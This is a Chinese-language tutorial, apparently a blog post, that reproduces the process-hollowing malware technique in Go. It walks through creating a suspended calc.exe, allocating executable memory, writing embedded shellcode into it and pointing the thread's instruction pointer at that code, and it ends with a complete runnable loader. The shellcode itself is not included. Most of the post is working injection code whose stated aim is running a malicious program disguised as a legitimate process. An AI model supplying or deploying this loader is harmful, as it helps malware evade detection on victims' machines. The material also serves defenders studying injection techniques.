进程镂空又称为傀儡进程,就是替换一个正常程序的进程内存为恶意程序。进程镂空这项技术已经很熟知了,本文仅使用Go语言复现这项技术。

流程

创建一个挂起的正常进程

var startupInfo windows.StartupInfo
var processInfo windows.ProcessInformation
appname, _ := syscall.UTF16PtrFromString("calc.exe")
​
// 创建挂起的进程
err := windows.CreateProcess(
    nil,
    appname,
    nil,
    nil,
    false,
    windows.CREATE_SUSPENDED|windows.CREATE_NEW_CONSOLE,
    nil,
    nil,
    &startupInfo,
    &processInfo,
)
if err != nil {
    fmt.Printf("Failed to create process: %v\n", err)
    return
}
defer windows.CloseHandle(processInfo.Process)
defer windows.CloseHandle(processInfo.Thread)

读取线程上下文

进程的上下文中会有挂起进程的CPU信息,在其中有一些重要的寄存器在下面的操作中会用到,例如:RIP即代码入口点。

// 获取进程上下文
var ctx CONTEXT
const CONTEXT_CONTROL = 0x1003F
ctx.ContextFlags = CONTEXT_CONTROL
call, _, err := getThreadContext.Call(uintptr(processInfo.Thread),uintptr(unsafe.Pointer(&ctx)))
if call == 0 {
    log.Fatalf("fail to getThreadCountext:%v", err)
}

这里有一些要注意,因为我们是使用Go语言操作windows API,但是有些API需要传参结构体,这就涉及到内存对齐的问题,例如上面getThreadContext.Call(uintptr(processInfo.Thread),uintptr(unsafe.Pointer(&ctx)))ctx,在"golang.org/x/sys/windows"库中没有context的定义,因此我们需要自己去定义context。注意:自定义的context需要与windows API写入数据的内存结构对应上。

CONTEXT定义如下:

type M128A struct {
    Low  uint64
    High int64
}
​
type XMM_SAVE_AREA32 struct {
    ControlWord    uint16
    StatusWord     uint16
    TagWord        uint8
    Reserved1      uint8
    ErrorOpcode    uint16
    ErrorOffset    uint32
    ErrorSelector  uint16
    Reserved2      uint16
    DataOffset     uint32
    DataSelector   uint16
    Reserved3      uint16
    MxCsr          uint32
    MxCsrMask      uint32
    FloatRegisters [8]M128A
    XmmRegisters   [16]M128A
    Reserved4      [96]byte
}
​
type CONTEXT struct {
    P1Home               uint64
    P2Home               uint64
    P3Home               uint64
    P4Home               uint64
    P5Home               uint64
    P6Home               uint64
    ContextFlags         uint32
    MxCsr                uint32
    SegCs                uint16
    SegDs                uint16
    SegEs                uint16
    SegFs                uint16
    SegGs                uint16
    SegSs                uint16
    EFlags               uint32
    Dr0                  uint64
    Dr1                  uint64
    Dr2                  uint64
    Dr3                  uint64
    Dr6                  uint64
    Dr7                  uint64
    Rax                  uint64
    Rcx                  uint64
    Rdx                  uint64
    Rbx                  uint64
    Rsp                  uint64
    Rbp                  uint64
    Rsi                  uint64
    Rdi                  uint64
    R8                   uint64
    R9                   uint64
    R10                  uint64
    R11                  uint64
    R12                  uint64
    R13                  uint64
    R14                  uint64
    R15                  uint64
    Rip                  uint64
    Header               [2]M128A
    Legacy               [8]M128A
    XmmRegisters         [16]M128A
    VectorRegister       [26]M128A
    VectorControl        uint64
    DebugControl         uint64
    LastBranchToRip      uint64
    LastBranchFromRip    uint64
    LastExceptionToRip   uint64
    LastExceptionFromRip uint64
}

读取进程的原始入口点

在进程的上下文中,RIP寄存器存储就是程序的入口地址。

卸载进程占用的内存(可以不卸载)

在挂起的进程中分配一个内存空间

// 调用 VirtualAllocEx 分配内存
addr, _, allocErr := virtualAllocEx.Call(
    uintptr(processInfo.Process),           // hProcess
    uintptr(0),                             // lpAddress, 0 表示让系统自动选择地址
    uintptr(len(shellcode)),                // dwSize, 分配 1024 字节
    windows.MEM_COMMIT|windows.MEM_RESERVE, // flAllocationType
    windows.PAGE_EXECUTE_READWRITE,         // flProtect
)
if addr == 0 {
    fmt.Printf("Failed to allocate memory: %v\n", allocErr)
    return
}

将恶意程序注入到刚分配的内存空间中

var numberOfBytesWritten uintptr
err = windows.WriteProcessMemory(processInfo.Process, addr, &shellcode[0], uintptr(len(shellcode)), &numberOfBytesWritten)
if err != nil {
    log.Fatalf("写入内存发生错误:%v", err)
}

修改原始程序的区段,修改入口点

ctx.Rip = uint64(addr)
r1, _, err := setThreadContext.Call(uintptr(processInfo.Thread), uintptr(unsafe.Pointer(&ctx)))
if r1 == 0 {
    log.Fatalf("设置进程上下文错误:%v", err)
}

恢复主线程,执行恶意代码

_, err = windows.ResumeThread(processInfo.Thread)
if err != nil {
    log.Fatalf("恢复进程失败:%v", err)
    return
}

完整示例代码

package main
​
import (
    "bytes"
    "embed"
    "encoding/hex"
    "fmt"
    "golang.org/x/sys/windows"
    "log"
    "strings"
    "syscall"
    "unsafe"
)
​
type M128A struct {
    Low  uint64
    High int64
}
​
type XMM_SAVE_AREA32 struct {
    ControlWord    uint16
    StatusWord     uint16
    TagWord        uint8
    Reserved1      uint8
    ErrorOpcode    uint16
    ErrorOffset    uint32
    ErrorSelector  uint16
    Reserved2      uint16
    DataOffset     uint32
    DataSelector   uint16
    Reserved3      uint16
    MxCsr          uint32
    MxCsrMask      uint32
    FloatRegisters [8]M128A
    XmmRegisters   [16]M128A
    Reserved4      [96]byte
}
​
type CONTEXT struct {
    P1Home               uint64
    P2Home               uint64
    P3Home               uint64
    P4Home               uint64
    P5Home               uint64
    P6Home               uint64
    ContextFlags         uint32
    MxCsr                uint32
    SegCs                uint16
    SegDs                uint16
    SegEs                uint16
    SegFs                uint16
    SegGs                uint16
    SegSs                uint16
    EFlags               uint32
    Dr0                  uint64
    Dr1                  uint64
    Dr2                  uint64
    Dr3                  uint64
    Dr6                  uint64
    Dr7                  uint64
    Rax                  uint64
    Rcx                  uint64
    Rdx                  uint64
    Rbx                  uint64
    Rsp                  uint64
    Rbp                  uint64
    Rsi                  uint64
    Rdi                  uint64
    R8                   uint64
    R9                   uint64
    R10                  uint64
    R11                  uint64
    R12                  uint64
    R13                  uint64
    R14                  uint64
    R15                  uint64
    Rip                  uint64
    Header               [2]M128A
    Legacy               [8]M128A
    XmmRegisters         [16]M128A
    VectorRegister       [26]M128A
    VectorControl        uint64
    DebugControl         uint64
    LastBranchToRip      uint64
    LastBranchFromRip    uint64
    LastExceptionToRip   uint64
    LastExceptionFromRip uint64
}
​
var (
    // 定义 API函数
    kernel32         = windows.NewLazySystemDLL("kernel32.dll")
    virtualAllocEx   = kernel32.NewProc("VirtualAllocEx")
    getThreadContext = kernel32.NewProc("GetThreadContext")
    setThreadContext = kernel32.NewProc("SetThreadContext")
)
​
//go:embed test/xxx.bin
var file embed.FS
​
func main() {
    var startupInfo windows.StartupInfo
    var processInfo windows.ProcessInformation
    appname, _ := syscall.UTF16PtrFromString("calc.exe")
​
    // 创建挂起的进程
    err := windows.CreateProcess(
        nil,
        appname,
        nil,
        nil,
        false,
        windows.CREATE_SUSPENDED|windows.CREATE_NEW_CONSOLE,
        nil,
        nil,
        &startupInfo,
        &processInfo,
    )
    if err != nil {
        fmt.Printf("Failed to create process: %v\n", err)
        return
    }
    defer windows.CloseHandle(processInfo.Process)
    defer windows.CloseHandle(processInfo.Thread)
​
    // 获取进程上下文
    var ctx CONTEXT
    const CONTEXT_CONTROL = 0x1003F
    ctx.ContextFlags = CONTEXT_CONTROL
    call, _, err := getThreadContext.Call(uintptr(processInfo.Thread), uintptr(unsafe.Pointer(&ctx)))
    if call == 0 {
        log.Fatalf("fail to getThreadCountext:%v", err)
    }
    fmt.Printf("Rcx: 0x%X\n", ctx.Rcx)
    fmt.Printf("Rip: 0x%X\n", ctx.Rip)
​
    //code := ReadProcessMemory(processInfo.Process, uintptr(ctx.Rip), 1025)
​
    b, err := file.ReadFile(`test/xxx.bin`)
    if err != nil {
        log.Fatalf("Read error: %v\n", err)
    }
    buf := string(b)
    shellcode, _ := hexStringToBytes(buf)
​
    // 调用 VirtualAllocEx 分配内存
    addr, _, allocErr := virtualAllocEx.Call(
        uintptr(processInfo.Process),           // hProcess
        uintptr(0),                             // lpAddress, 0 表示让系统自动选择地址
        uintptr(len(shellcode)),                // dwSize, 分配 1024 字节
        windows.MEM_COMMIT|windows.MEM_RESERVE, // flAllocationType
        windows.PAGE_EXECUTE_READWRITE,         // flProtect
    )
    if addr == 0 {
        fmt.Printf("Failed to allocate memory: %v\n", allocErr)
        return
    }
​
    fmt.Printf("Allocated memory at address: 0x%X\n", addr)
​
    var numberOfBytesWritten uintptr
    err = windows.WriteProcessMemory(processInfo.Process, addr, &shellcode[0], uintptr(len(shellcode)), &numberOfBytesWritten)
    if err != nil {
        log.Fatalf("写入内存发生错误:%v", err)
    }
​
    ctx.Rip = uint64(addr)
    r1, _, err := setThreadContext.Call(uintptr(processInfo.Thread), uintptr(unsafe.Pointer(&ctx)))
    if r1 == 0 {
        log.Fatalf("设置进程上下文错误:%v", err)
    }
​
    _, err = windows.ResumeThread(processInfo.Thread)
    if err != nil {
        log.Fatalf("恢复进程失败:%v", err)
        return
    }
}
​
// ReadProcessMemory 读取进程内存
func ReadProcessMemory(p windows.Handle, baseAddr uintptr, size int) []byte {
    buffer := bytes.Buffer{}
    var flag bool
    var data []byte
    var bytesRead uintptr
    for {
        size -= 1024
        if size > 0 {
            data = make([]byte, 1024)
        } else {
            data = make([]byte, 1024+size)
            flag = true
        }
​
        err := windows.ReadProcessMemory(p, baseAddr, &data[0], uintptr(len(data)), &bytesRead)
        if err != nil {
            log.Fatalf("fail to readProcessMemory:%v", err)
        }
        buffer.Write(data)
        if flag {
            break
        }
    }
​
    return buffer.Bytes()
}
​
func hexStringToBytes(hexStr string) ([]byte, error) {
    // 移除字符串中的 `\x`
    cleanedStr := strings.ReplaceAll(hexStr, "\\x", "")
​
    // 转换为 []byte
    bytes, err := hex.DecodeString(cleanedStr)
    if err != nil {
        return nil, err
    }
    return bytes, nil
}

参考